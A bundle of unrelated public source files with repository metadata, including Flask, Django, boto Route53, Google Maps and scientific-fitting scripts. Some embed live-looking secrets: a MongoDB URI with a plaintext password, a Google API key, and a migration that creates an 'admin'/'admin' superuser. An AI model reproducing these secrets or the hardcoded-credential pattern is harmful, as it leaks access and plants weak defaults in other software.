"2454099127@qq.com"
] | 2454099127@qq.com |
38e06d2734981a8eacafa7f9922bd4d97b493066 | 421e9f91b91e8e204513f51d64a5ed72deb35601 | /reports.py | 18eac399e474b45b1fd2577178c05850363b7227 | [] | no_license | earthsoul/Automate-updating-catalog-information- | 7d0b01fdfff226691c4c6c1e87aa6fb01e477a5a | bdd8cc470259e3fee2c020d577196d0284bf3d47 | refs/heads/master | 2022-11-24T12:55:58.257573 | 2020-07-26T07:22:35 | 2020-07-26T07:22:35 | 282,388,432 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 731 | py | #!/usr/bin/env python3 # shebang
from reportlab.platypus import SimpleDocTemplate # used to generate PDFs
from reportlab.platypus import Paragraph, Spacer, Table, Image # flowables
from reportlab.lib.styles import getSampleStyleSheet # used for document styles
from reportlab.lib import colors # used for table styles
def generate(filename, title, additional_info): # function to generate PDF
styles = getSampleStyleSheet() # sample dictionary of various styling
report = SimpleDocTemplate(filename) # export directory and filename
report_title = Paragraph(title, styles["h1"]) # title style
report_info = Paragraph(additional_info, styles["BodyText"]) # body style
report.build([report_title, report_info])
| [
"sarthakpahuja1603@protonmail.com"
] | sarthakpahuja1603@protonmail.com |
db860acf670514cdb3a4a8ac172160bfbafee046 | a8e3ddb269a8b959b3bce38e7b21aaa1a7e69dd4 | /tensorpack/trainv1/config.py | abc02ccaa6e417f64904e35095a3b993806a2fc4 | [
"Apache-2.0"
] | permissive | myelintek/tensorpack | 55945c7ea9d661b31f28c83e5477870d2f3dac86 | fcbf5869d78cf7f3b59c46318b6c883a7ea12056 | refs/heads/master | 2018-10-25T05:50:15.302077 | 2018-04-09T03:24:27 | 2018-04-09T03:24:27 | 114,971,878 | 0 | 2 | Apache-2.0 | 2022-09-29T03:16:20 | 2017-12-21T06:39:29 | Python | UTF-8 | Python | false | false | 150 | py | # -*- coding: utf-8 -*-
# File: config.py
# Author: Yuxin Wu <ppwwyyxxc@gmail.com>
__all__ = ['TrainConfig']
from ..train.config import TrainConfig
| [
"ppwwyyxxc@gmail.com"
] | ppwwyyxxc@gmail.com |
10e94a6f76c90c87c8acfcd4666f27e4f016ad82 | bc169f7ccd08c180f9c25af88e1c33788191da5a | /virginproject/virginproject/wsgi.py | fdbccd808c510d06b41f4bc6bc17ca9442d9844d | [] | no_license | pradeepreddyDev/virginexports2 | dec51472d3eb22a7b5afd63233121c53bd4d2c74 | 0c32816d410c4ceb70af6b14ea64be821163e586 | refs/heads/master | 2020-09-04T05:00:05.114732 | 2019-11-05T05:16:44 | 2019-11-05T05:16:44 | 219,663,073 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 403 | py | """
WSGI config for virginproject project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'virginproject.settings')
application = get_wsgi_application()
| [
"pradeepnagireddy.it@gmail.com"
] | pradeepnagireddy.it@gmail.com |
4050bb856c264b490d58cbf10dc821091d2c5c7c | 3e4605fac38fcf581297f2d716bb4fcf5684e0f7 | /app/main/controller/control.py | 4064589f455351800109c29e769614a5dfd338ac | [] | no_license | drhuongsp/table_info | 0de4ac06a908357d5956be9974f69e3409f0a9e8 | 50a987d9a220ca9db7b212a742e74d1841468834 | refs/heads/master | 2023-07-21T11:27:08.241643 | 2021-09-03T07:31:29 | 2021-09-03T07:31:29 | 402,106,127 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 696 | py | import os
from flask import Flask, send_file, render_template
import pymongo
from app import app
from datetime import date
import csv
import re
'''
Đầu vào: Dữ liệu các mã cổ phiếu.
Đầu ra: Các file excell được download trực tiếp từ website ứng với từng mã"
'''
myclient = pymongo.MongoClient("mongodb+srv://ducthangbnn:Oivung1215@cluster0.1rpru.mongodb.net/test", connect=False)
mydb = myclient["stocks"]
mycol = mydb["auto_stock_buy_all"]
@app.route('/', methods=['GET', 'POST'])
def table():
stocks_infors = mycol.find().sort("date", -1)
return render_template('index.html', cache_timeout=0,
stocks_infors = stocks_infors) | [
"ducthangbnn@gmail.com"
] | ducthangbnn@gmail.com |
e8449e5c52308db1066fe4840c2557f6f0605c14 | 2bb0a54827ce23ae96448ae8603452088f0539a5 | /2/JPMC-tech-task-2-PY3/node_modules/bufferutil/build/config.gypi | 82a132a4e40a83871eb9478055c8d0f224b47999 | [
"MIT"
] | permissive | ohzecodes/JP_Morgan_Chase_ | c0f6b7975a5c4ec5ac8c61f202dad701abf39d86 | 8d85eb8fd78e95a1ffe1dba025fc5136ab4f1a1b | refs/heads/main | 2023-01-24T04:34:49.232140 | 2020-12-04T02:25:55 | 2020-12-04T02:25:55 | 318,356,000 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,510 | gypi | # Do not edit. File was generated by node-gyp's "configure" step
{
"target_defaults": {
"cflags": [],
"default_configuration": "Release",
"defines": [],
"include_dirs": [],
"libraries": []
},
"variables": {
"asan": 0,
"build_v8_with_gn": "false",
"coverage": "false",
"debug_nghttp2": "false",
"enable_lto": "false",
"enable_pgo_generate": "false",
"enable_pgo_use": "false",
"force_dynamic_crt": 0,
"host_arch": "x64",
"icu_data_in": "../../deps/icu-small/source/data/in/icudt62l.dat",
"icu_endianness": "l",
"icu_gyp_path": "tools/icu/icu-generic.gyp",
"icu_locales": "en,root",
"icu_path": "deps/icu-small",
"icu_small": "true",
"icu_ver_major": "62",
"llvm_version": "0",
"node_byteorder": "little",
"node_debug_lib": "false",
"node_enable_d8": "false",
"node_enable_v8_vtunejit": "false",
"node_install_npm": "true",
"node_module_version": 67,
"node_no_browser_globals": "false",
"node_prefix": "/",
"node_release_urlbase": "https://nodejs.org/download/release/",
"node_shared": "false",
"node_shared_cares": "false",
"node_shared_http_parser": "false",
"node_shared_libuv": "false",
"node_shared_nghttp2": "false",
"node_shared_openssl": "false",
"node_shared_zlib": "false",
"node_tag": "",
"node_target_type": "executable",
"node_use_bundled_v8": "true",
"node_use_dtrace": "true",
"node_use_etw": "false",
"node_use_large_pages": "false",
"node_use_openssl": "true",
"node_use_pch": "false",
"node_use_v8_platform": "true",
"node_with_ltcg": "false",
"node_without_node_options": "false",
"openssl_fips": "",
"openssl_no_asm": 0,
"shlib_suffix": "67.dylib",
"target_arch": "x64",
"v8_enable_gdbjit": 0,
"v8_enable_i18n_support": 1,
"v8_enable_inspector": 1,
"v8_no_strict_aliasing": 1,
"v8_optimized_debug": 0,
"v8_promise_internal_field_count": 1,
"v8_random_seed": 0,
"v8_trace_maps": 0,
"v8_typed_array_max_size_in_heap": 0,
"v8_use_snapshot": "true",
"want_separate_host_toolset": 0,
"xcode_version": "8.0",
"nodedir": "/Users/moze/.node-gyp/11.0.0",
"standalone_static_library": 1,
"dry_run": "",
"legacy_bundling": "",
"save_dev": "",
"browser": "",
"commit_hooks": "true",
"only": "",
"viewer": "man",
"also": "",
"rollback": "true",
"sign_git_commit": "",
"audit": "true",
"usage": "",
"globalignorefile": "/Users/moze/.nvm/versions/node/v11.0.0/etc/npmignore",
"init_author_url": "",
"maxsockets": "50",
"shell": "/bin/bash",
"metrics_registry": "https://registry.npmjs.org/",
"parseable": "",
"shrinkwrap": "true",
"init_license": "ISC",
"timing": "",
"if_present": "",
"cache_max": "Infinity",
"init_author_email": "",
"sign_git_tag": "",
"cert": "",
"git_tag_version": "true",
"local_address": "",
"long": "",
"preid": "",
"fetch_retries": "2",
"noproxy": "",
"registry": "https://registry.npmjs.org/",
"key": "",
"message": "%s",
"versions": "",
"globalconfig": "/Users/moze/.nvm/versions/node/v11.0.0/etc/npmrc",
"always_auth": "",
"logs_max": "10",
"prefer_online": "",
"cache_lock_retries": "10",
"global_style": "",
"update_notifier": "true",
"audit_level": "low",
"heading": "npm",
"fetch_retry_mintimeout": "10000",
"offline": "",
"read_only": "",
"searchlimit": "20",
"access": "",
"json": "",
"allow_same_version": "",
"description": "true",
"engine_strict": "",
"https_proxy": "",
"init_module": "/Users/moze/.npm-init.js",
"userconfig": "/Users/moze/.npmrc",
"cidr": "",
"node_version": "11.0.0",
"user": "501",
"auth_type": "legacy",
"editor": "vi",
"ignore_prepublish": "",
"save": "true",
"script_shell": "",
"tag": "latest",
"global": "",
"progress": "true",
"ham_it_up": "",
"optional": "true",
"searchstaleness": "900",
"bin_links": "true",
"force": "",
"save_prod": "",
"searchopts": "",
"depth": "Infinity",
"node_gyp": "/Users/moze/.nvm/versions/node/v11.0.0/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js",
"rebuild_bundle": "true",
"sso_poll_frequency": "500",
"unicode": "true",
"fetch_retry_maxtimeout": "60000",
"ca": "",
"save_prefix": "^",
"scripts_prepend_node_path": "warn-only",
"sso_type": "oauth",
"strict_ssl": "true",
"tag_version_prefix": "v",
"dev": "",
"fetch_retry_factor": "10",
"group": "20",
"save_exact": "",
"cache_lock_stale": "60000",
"prefer_offline": "",
"version": "",
"cache_min": "10",
"otp": "",
"cache": "/Users/moze/.npm",
"searchexclude": "",
"color": "true",
"package_lock": "true",
"package_lock_only": "",
"save_optional": "",
"user_agent": "npm/6.4.1 node/v11.0.0 darwin x64",
"ignore_scripts": "",
"cache_lock_wait": "10000",
"production": "",
"save_bundle": "",
"send_metrics": "",
"init_version": "1.0.0",
"node_options": "",
"umask": "0022",
"scope": "",
"git": "git",
"init_author_name": "",
"onload_script": "",
"tmp": "/var/folders/_4/zjk2l77n7pb3lj1sf97qrw7h0000gn/T",
"unsafe_perm": "true",
"link": "",
"prefix": "/Users/moze/.nvm/versions/node/v11.0.0"
}
}
| [
"mo.ze@outlook.com"
] | mo.ze@outlook.com |
bbbb771d57dfb818066a3c9c3cbcbd8916123256 | 00a664422196910f02b379c94af2229e06143961 | /Versuch 1/clusters2GoogleMaps.py | b731e0025b26c6adcedb9357f502cb2df71723e1 | [] | no_license | lumaxis/DataMining | 96154a4fd760483243f0a4704bdf7ec23f4afd49 | bbc47e8a4af63afc25e9112f6d9787c5bb1d812d | refs/heads/master | 2020-06-03T10:18:27.459841 | 2013-12-19T13:02:42 | 2013-12-19T13:02:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,848 | py | # -*- coding: utf-8 -*-
"""
Created on Tue Oct 29 19:16:07 2013
@author: mathis
"""
import pandas
from pymaps import Map, PyMap, Icon
# import data
data = pandas.read_csv('EnergyMixGeoClustered.csv', index_col=0)
# prepare map
tmap = Map()
tmap.zoom = 2
# prepare icons
iconRed = Icon('iconRed')
iconRed.image = "http://labs.google.com/ridefinder/images/mm_20_red.png"
iconRed.shadow = "http://labs.google.com/ridefinder/images/mm_20_shadow.png"
iconBlue = Icon('iconBlue')
iconBlue.image = "http://labs.google.com/ridefinder/images/mm_20_blue.png"
iconBlue.shadow = "http://labs.google.com/ridefinder/images/mm_20_shadow.png"
iconGreen = Icon('iconGreen')
iconGreen.image = "http://labs.google.com/ridefinder/images/mm_20_green.png"
iconGreen.shadow = "http://labs.google.com/ridefinder/images/mm_20_shadow.png"
iconYellow = Icon('iconYellow')
iconYellow.image = "http://labs.google.com/ridefinder/images/mm_20_yellow.png"
iconYellow.shadow = "http://labs.google.com/ridefinder/images/mm_20_shadow.png"
# create points
for x, row in data.T.iteritems():
text = 'Oil: %.1f<br>Gas: %.1f<br>Coal: %.1f<br>Nuclear: %.1f<br>Hydro: %.1f<br>Total2009: %.1f<br>CO2Emm: %.1f'
text = text % (row['Oil'], row['Gas'], row['Coal'], row['Nuclear'], row['Hydro'], row['Total2009'], row['CO2Emm'])
if (row['Cluster']==1):
icon = iconRed.id
if (row['Cluster']==2):
icon = iconBlue.id
if (row['Cluster']==3):
icon = iconGreen.id
if (row['Cluster']==4):
icon = iconYellow.id
point = (row['Lat'], row['Long'], text, icon)
tmap.setpoint(point)
# create googlemap
gmap = PyMap(key='AIzaSyDuqqx9gOVezHby8srNZJBWY3WGgonBKvw', maplist=[tmap])
gmap.addicon(iconGreen)
gmap.addicon(iconYellow)
gmap.addicon(iconBlue)
gmap.addicon(iconRed)
# output
open('EnergyCluster.html','wb').write(gmap.showhtml()) | [
"mathis@hoffpost.de"
] | mathis@hoffpost.de |
4ec14ad7b2a357d38aaeda8a9712d81886578398 | c4cd6329231b19a3a214c22bd0c9968ba5e2fbb6 | /common/migrations/0001_initial.py | e64afe03077ad3aa91c6a742d2867212b6679805 | [] | no_license | andersonsouza/ptaas | 87998e012f6f616f04d6caedfc18f53b561257ab | f74cb1d0d9db259ceb9cbf3630650edb9079915a | refs/heads/develop | 2020-12-07T02:34:36.223679 | 2017-08-01T02:44:30 | 2017-08-01T02:44:30 | 95,488,189 | 0 | 1 | null | 2017-08-01T02:46:06 | 2017-06-26T20:47:54 | JavaScript | UTF-8 | Python | false | false | 644 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations
from django.contrib.auth.hashers import make_password
def initial_setup_user(apps, schema_editor):
User = apps.get_registered_model('auth', 'User')
admin = User(
username='admin',
email='admin@localhost',
password=make_password('admin'),
is_superuser=True,
is_staff=True
)
admin.save()
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0001_initial')
]
operations = [
migrations.RunPython(initial_setup_user),
]
| [
"anderson.kcond@gmail.com"
] | anderson.kcond@gmail.com |
681649f3c55738cbffaa23f54af9ba82ef948b89 | c57ffbf0e3405eb87bddf96cfc6bb09fa096aa49 | /Galaxy_Postgres_Nginx_CVMFS_slurm/ephemeris_venv/bin/route53 | 6388606594a543c28946022388b62aa343f73567 | [] | no_license | BU-ISCIII/AnsibleRecipes | 33946ef689c03350141266f1c7a8d7d3d4ddfdad | b9fe5a870d404b5dab22bcfa37405c4e4bd0861b | refs/heads/master | 2021-02-18T07:55:11.667669 | 2020-03-30T08:22:31 | 2020-03-30T08:22:31 | 245,175,993 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,089 | #!/home/mjuliam/Galaxy_Postgres_Nginx_CVMFS_slurm/ephemeris_venv/bin/python
# Author: Chris Moyer
#
# route53 is similar to sdbadmin for Route53, it's a simple
# console utility to perform the most frequent tasks with Route53
#
# Example usage. Use route53 get after each command to see how the
# zone changes.
#
# Add a non-weighted record, change its value, then delete. Default TTL:
#
# route53 add_record ZPO9LGHZ43QB9 rr.example.com A 4.3.2.1
# route53 change_record ZPO9LGHZ43QB9 rr.example.com A 9.8.7.6
# route53 del_record ZPO9LGHZ43QB9 rr.example.com A 9.8.7.6
#
# Add a weighted record with two different weights. Note that the TTL
# must be specified as route53 uses positional parameters rather than
# option flags:
#
# route53 add_record ZPO9LGHZ43QB9 wrr.example.com A 1.2.3.4 600 foo9 10
# route53 add_record ZPO9LGHZ43QB9 wrr.example.com A 4.3.2.1 600 foo8 10
#
# route53 change_record ZPO9LGHZ43QB9 wrr.example.com A 9.9.9.9 600 foo8 10
#
# route53 del_record ZPO9LGHZ43QB9 wrr.example.com A 1.2.3.4 600 foo9 10
# route53 del_record ZPO9LGHZ43QB9 wrr.example.com A 9.9.9.9 600 foo8 10
#
# Add a non-weighted alias, change its value, then delete. Alaises inherit
# their TTLs from the backing ELB:
#
# route53 add_alias ZPO9LGHZ43QB9 alias.example.com A Z3DZXE0Q79N41H lb-1218761514.us-east-1.elb.amazonaws.com.
# route53 change_alias ZPO9LGHZ43QB9 alias.example.com. A Z3DZXE0Q79N41H lb2-1218761514.us-east-1.elb.amazonaws.com.
# route53 delete_alias ZPO9LGHZ43QB9 alias.example.com. A Z3DZXE0Q79N41H lb2-1218761514.us-east-1.elb.amazonaws.com.
def _print_zone_info(zoneinfo):
print "="*80
print "| ID: %s" % zoneinfo['Id'].split("/")[-1]
print "| Name: %s" % zoneinfo['Name']
print "| Ref: %s" % zoneinfo['CallerReference']
print "="*80
print zoneinfo['Config']
print
def create(conn, hostname, caller_reference=None, comment=''):
"""Create a hosted zone, returning the nameservers"""
response = conn.create_hosted_zone(hostname, caller_reference, comment)
print "Pending, please add the following Name Servers:"
for ns in response.NameServers:
print "\t", ns
def delete_zone(conn, hosted_zone_id):
"""Delete a hosted zone by ID"""
response = conn.delete_hosted_zone(hosted_zone_id)
print response
def ls(conn):
"""List all hosted zones"""
response = conn.get_all_hosted_zones()
for zoneinfo in response['ListHostedZonesResponse']['HostedZones']:
_print_zone_info(zoneinfo)
def get(conn, hosted_zone_id, type=None, name=None, maxitems=None):
"""Get all the records for a single zone"""
response = conn.get_all_rrsets(hosted_zone_id, type, name, maxitems=maxitems)
# If a maximum number of items was set, we limit to that number
# by turning the response into an actual list (copying it)
# instead of allowing it to page
if maxitems:
response = response[:]
print '%-40s %-5s %-20s %s' % ("Name", "Type", "TTL", "Value(s)")
for record in response:
print '%-40s %-5s %-20s %s' % (record.name, record.type, record.ttl, record.to_print())
def _add_del(conn, hosted_zone_id, change, name, type, identifier, weight, values, ttl, comment):
from boto.route53.record import ResourceRecordSets
changes = ResourceRecordSets(conn, hosted_zone_id, comment)
change = changes.add_change(change, name, type, ttl,
identifier=identifier, weight=weight)
for value in values.split(','):
change.add_value(value)
print changes.commit()
def _add_del_alias(conn, hosted_zone_id, change, name, type, identifier, weight, alias_hosted_zone_id, alias_dns_name, comment):
from boto.route53.record import ResourceRecordSets
changes = ResourceRecordSets(conn, hosted_zone_id, comment)
change = changes.add_change(change, name, type,
identifier=identifier, weight=weight)
change.set_alias(alias_hosted_zone_id, alias_dns_name)
print changes.commit()
def add_record(conn, hosted_zone_id, name, type, values, ttl=600,
identifier=None, weight=None, comment=""):
"""Add a new record to a zone. identifier and weight are optional."""
_add_del(conn, hosted_zone_id, "CREATE", name, type, identifier,
weight, values, ttl, comment)
def del_record(conn, hosted_zone_id, name, type, values, ttl=600,
identifier=None, weight=None, comment=""):
"""Delete a record from a zone: name, type, ttl, identifier, and weight must match."""
_add_del(conn, hosted_zone_id, "DELETE", name, type, identifier,
weight, values, ttl, comment)
def add_alias(conn, hosted_zone_id, name, type, alias_hosted_zone_id,
alias_dns_name, identifier=None, weight=None, comment=""):
"""Add a new alias to a zone. identifier and weight are optional."""
_add_del_alias(conn, hosted_zone_id, "CREATE", name, type, identifier,
weight, alias_hosted_zone_id, alias_dns_name, comment)
def del_alias(conn, hosted_zone_id, name, type, alias_hosted_zone_id,
alias_dns_name, identifier=None, weight=None, comment=""):
"""Delete an alias from a zone: name, type, alias_hosted_zone_id, alias_dns_name, weight and identifier must match."""
_add_del_alias(conn, hosted_zone_id, "DELETE", name, type, identifier,
weight, alias_hosted_zone_id, alias_dns_name, comment)
def change_record(conn, hosted_zone_id, name, type, newvalues, ttl=600,
identifier=None, weight=None, comment=""):
"""Delete and then add a record to a zone. identifier and weight are optional."""
from boto.route53.record import ResourceRecordSets
changes = ResourceRecordSets(conn, hosted_zone_id, comment)
# Assume there are not more than 10 WRRs for a given (name, type)
responses = conn.get_all_rrsets(hosted_zone_id, type, name, maxitems=10)
for response in responses:
if response.name != name or response.type != type:
continue
if response.identifier != identifier or response.weight != weight:
continue
change1 = changes.add_change("DELETE", name, type, response.ttl,
identifier=response.identifier,
weight=response.weight)
for old_value in response.resource_records:
change1.add_value(old_value)
change2 = changes.add_change("UPSERT", name, type, ttl,
identifier=identifier, weight=weight)
for new_value in newvalues.split(','):
change2.add_value(new_value)
print changes.commit()
def change_alias(conn, hosted_zone_id, name, type, new_alias_hosted_zone_id, new_alias_dns_name, identifier=None, weight=None, comment=""):
"""Delete and then add an alias to a zone. identifier and weight are optional."""
from boto.route53.record import ResourceRecordSets
changes = ResourceRecordSets(conn, hosted_zone_id, comment)
# Assume there are not more than 10 WRRs for a given (name, type)
responses = conn.get_all_rrsets(hosted_zone_id, type, name, maxitems=10)
for response in responses:
if response.name != name or response.type != type:
continue
if response.identifier != identifier or response.weight != weight:
continue
change1 = changes.add_change("DELETE", name, type,
identifier=response.identifier,
weight=response.weight)
change1.set_alias(response.alias_hosted_zone_id, response.alias_dns_name)
change2 = changes.add_change("UPSERT", name, type, identifier=identifier, weight=weight)
change2.set_alias(new_alias_hosted_zone_id, new_alias_dns_name)
print changes.commit()
def help(conn, fnc=None):
"""Prints this help message"""
import inspect
self = sys.modules['__main__']
if fnc:
try:
cmd = getattr(self, fnc)
except:
cmd = None
if not inspect.isfunction(cmd):
print "No function named: %s found" % fnc
sys.exit(2)
(args, varargs, varkw, defaults) = inspect.getargspec(cmd)
print cmd.__doc__
print "Usage: %s %s" % (fnc, " ".join([ "[%s]" % a for a in args[1:]]))
else:
print "Usage: route53 [command]"
for cname in dir(self):
if not cname.startswith("_"):
cmd = getattr(self, cname)
if inspect.isfunction(cmd):
doc = cmd.__doc__
print "\t%-20s %s" % (cname, doc)
sys.exit(1)
if __name__ == "__main__":
import boto
import sys
conn = boto.connect_route53()
self = sys.modules['__main__']
if len(sys.argv) >= 2:
try:
cmd = getattr(self, sys.argv[1])
except:
cmd = None
args = sys.argv[2:]
else:
cmd = help
args = []
if not cmd:
cmd = help
try:
cmd(conn, *args)
except TypeError as e:
print e
help(conn, cmd.__name__)
| [
"migueljuliamolina@gmail.com"
] | migueljuliamolina@gmail.com | |
2bcc2bfda06ed166390fe0168d90ebc217e3f515 | f2dddfc8645da74606ce6c4156ea1c552ea98f48 | /menu/migrations/0001_initial.py | ec14e9b5abcf77e9e4417a6e6515f604f1477277 | [] | no_license | Rahul2802agarwal/rahul-28 | a5bb0e2c8d964f18da9f47e21e819efad5bcb6b7 | 74d8f562d8359796bc22eb7256e1b0fcb1483492 | refs/heads/master | 2022-11-29T07:11:25.573154 | 2020-08-09T04:39:01 | 2020-08-09T04:39:01 | 282,375,240 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,106 | py | # Generated by Django 3.0.8 on 2020-07-16 03:39
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Customer',
fields=[
('Id', models.AutoField(primary_key=True, serialize=False)),
('table_number', models.IntegerField()),
],
),
migrations.CreateModel(
name='Dish',
fields=[
('dishId', models.AutoField(primary_key=True, serialize=False)),
('dishName', models.CharField(max_length=50)),
('dishDescription', models.TextField()),
('distPrice', models.FloatField()),
('dishCategory', models.CharField(max_length=50)),
('dishImage', models.ImageField(upload_to='')),
],
),
migrations.CreateModel(
name='Order',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('comments', models.TextField()),
('order_date', models.DateTimeField(auto_now_add=True)),
('is_ordered', models.BooleanField(default=False)),
('customer', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='menu.Customer')),
],
),
migrations.CreateModel(
name='OrderDish',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('ordered', models.BooleanField(default=False)),
('quantity', models.IntegerField(default=1)),
('dish', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='menu.Dish')),
('order', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='menu.Order')),
],
),
]
| [
"rahul2802agarwal@gmail.com"
] | rahul2802agarwal@gmail.com |
2cd2605da4aa19d982ad7e30a63ff935ef7d2481 | c03e41630cdb23665a2cdcc09d1009bd8c48f0e6 | /runFittingProblem.py | ed29bbdd12a12320b77efd8e77284857896c6a77 | [] | no_license | gabrevaya/SirIsaac | a5a70f2d241053a58b710e35f024bf521c0c1056 | 0bbb26f0f9b8359613b1f6c4526bd42302d1b40e | refs/heads/master | 2020-03-21T14:30:22.433693 | 2018-06-04T19:17:47 | 2018-06-04T19:17:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 22,605 | py | # runFittingProblem.py
#
# Bryan Daniels
# 6.30.2009
#
# Code that reproduces the fitting done in the 2013 manuscript.
#
import scipy
from SloppyCell.ReactionNetworks import *
import FittingProblem
reload(FittingProblem)
import FakeData
reload(FakeData)
import os,sys,copy
from outputTag import nextFileNumString
import SloppyCellTest
print "This computer's name is",os.uname()[1]
if (os.uname()[1][:4] == 'node'): # 4.4.2012 emory machines
print "The current directory is",os.getcwd()
if os.getcwd().startswith('/star'):
os.chdir('/star/physics/nemenman/daniels/SirIsaac')
elif os.getcwd().startswith('/spark'):
os.chdir('/spark/physics/nemenman/daniels/SirIsaac')
print "Now the current directory is",os.getcwd()
def paramsDict(fittingProblem):
d = {}
for name in fittingProblem.fittingModelNames:
params = fittingProblem.fittingModelDict[name].getParameters()
d[name] = params
return d
outputDirectory = '.'
# set tag to command-line argument unless there isn't a valid one
if len(sys.argv) < 2:
prefix = nextFileNumString(outputDirectory)
elif (sys.argv[1].find('&') != -1) or (sys.argv[1].find('>') != -1) \
or (sys.argv[1].find('|') != -1):
prefix = nextFileNumString(outputDirectory)
else:
prefix = sys.argv[1]
# 9.24.2013 make sure SloppyCell C compiling is working
if not SloppyCellTest.testCcompiling():
raise Exception, "SloppyCell C compiling not working."
noiseInLog = False # 3.6.2013
usePreviousParams = True #False # 3.6.2013
randomX = True
avegtol = 1e-2 #1. #1e-2
maxiter = 100 # 200
verbose = False
numprocs = 11
useDerivs = False
includeEndpoints = False
inputNames = None # default to non-init variables
stopFittingN = 3
numPoints = 1 # take one data point per independent parameter set
valOffsets = None # default; changed for PowerLaw fit to Phosphorylation
# parameters for ensemble generation
useEnsemble = True #False
totalSteps = 1e4 #100
keepSteps = 10 #20 # 5
ensTemperature = 1e3 #1e5 #1e6 #1e5 # 100000. 100. # changed later for fitting perfect model
sing_val_cutoff = 1.
seeds = (1,1)
if useEnsemble:
ensGen = FittingProblem.EnsembleGenerator( \
totalSteps,keepSteps,ensTemperature,sing_val_cutoff,seeds)
else:
ensGen = None
# () choose data source
#originalString = 'PlanetaryNet'
originalString = 'yeastOscillator'
#originalString = 'PhosphorylationNet'
# () choose fitting model class
#fittingType = 'Polynomial'
#fittingType = 'Laguerre'
#fittingType = 'SimplePhosphorylation'
#fittingType = 'PerfectPhosphorylation'
#fittingType = 'PowerLaw'
#fittingType = 'CTSN'
fittingType = 'SimpleSinusoidal'
# 8.7.2013 use Planetary network to generate perfect data
if originalString is 'PlanetaryNet':
timeAndNoiseSeed = 0 #0
ICseed = 1 #1
switchSigmoid = False
xiNegative = False
noiseFracSize = 0.05 #0.01 #0.1
maxNumInputs = 1000 # we'll generate this many random inputs for possible use
scipy.random.seed(ICseed)
varsType = 'rOnly'
#varsType = 'rAndTheta'
if varsType is 'rAndTheta':
inputVars = ['r_init','theta_init']
inputNames = ['r_init']
outputVars = ['r','theta']
elif varsType is 'rOnly':
inputVars = ['r_init']
inputNames = ['r_init']
outputVars = ['r']
inputMin,inputMax = 1.,2.5 #1.,3. # units GM/(v0^2) (1->circle,2->parabola)
inputList = inputMin + (inputMax-inputMin)*scipy.random.random(maxNumInputs)
# 5.3.2013 set first two inputs to the two extremes
inputList[0] = inputMin
inputList[1] = inputMax
if varsType is 'rAndTheta':
theta_init = 2.*scipy.pi # nonzero to avoid problems with power law models
inputListFull = [ [input,theta_init] for input in inputList ]
elif varsType is 'rOnly':
inputListFull = [ [input] for input in inputList ]
timeInterval = [0.,100.] # units GM/(v0^3)
includeDerivs = False
originalFittingModel = FittingProblem.PlanetaryFittingModel( \
indepParamNames=inputVars,verbose=True,avegtol=avegtol,maxiter=maxiter, \
ensGen=ensGen)
rateVars = []
nonrateVars = []
ratePriorSigma = 10. #1e3
nonratePriorSigma = 10.
# 4.23.2015
connectionOrder = 'node'
typeOrder = 'last'
# 5.6.2015
trueNoiseRange = None
# 9.5.2013 since we're interested in testing whether we can find the
# perfect representation, we'll remove the stopping criterion
stopFittingN = scipy.inf
fakeDataAbs = False # Avoid negative data
lognormalNoise = False
# 7.23.2009 use Phosphorylation network to generate perfect data
elif originalString is 'PhosphorylationNet':
timeAndNoiseSeed = 0 #0
ICseed = 1 #1
switchSigmoid = False # False
xiNegative = False
noiseFracSize = 0.1
maxNumInputs = 1000 # we'll generate this many random inputs for possible use
scipy.random.seed(ICseed)
# 9.19.2012 try to avoid crossing zero so much
# 6.4.2013 also need to avoid having totalPhos_init = 0
if fittingType is "PowerLaw":
offset = 1.
valOffsets = [offset]
else:
offset = 0.
inputVars = ['k23p','totalPhos_init'] # 5.2.2013 added 'totalPhos_init'
inputLogMin,inputLogMax = -3,3 #-3,4
inputLogList = inputLogMin + (inputLogMax-inputLogMin)*scipy.random.random(maxNumInputs)
# 5.3.2013 set first two inputs to the two extremes
inputLogList[0] = inputLogMin
inputLogList[1] = inputLogMax
inputListFull = [ [10**inputLog,offset] for inputLog in inputLogList ]
timeInterval = [0.,10.] #[0.,3.] #[0.,10.]
includeDerivs = False
outputVars = ['totalPhos']
# 9.8.2013
# for saving original model using BioNetGen
#makeOriginalModel = True
# for machines without BioNetGen
makeOriginalModel = False
rateVars = ['k']
nonrateVars = ['Km','totalPhos']
ratePriorSigma = 10 #1e3 #10 #1e3 #10. #1e3
nonratePriorSigma = 10.
# 4.23.2015
connectionOrder = 'node' #'random'
typeOrder = 'last' #'random'
connectionOrderSeed = None #300
# 5.6.2015
trueNoiseRange = None #[0.20,0.20] # None
# 5.13.2015
lognormalNoise = False #True # False
originalModelFilename = 'examplePhosphorylationFittingModel.model'
if makeOriginalModel:
n = 5
rules = [(1,2),(2,1),(2,3),(3,2),(3,4),(4,3),(4,5),(5,4)] #[(2,3)]
originalFittingModel = FittingProblem.PhosphorylationFittingModel(n,rules, \
indepParamNames=inputVars[:1],verbose=True,avegtol=avegtol,maxiter=maxiter, \
ensGen=ensGen,totalOffset=offset)
# 4.29.2013 set random parameters
randomParamsSeed = 12345
scipy.random.seed(randomParamsSeed)
newParams = {}
for var in originalFittingModel.getParameters().keys():
if var.startswith('k'):
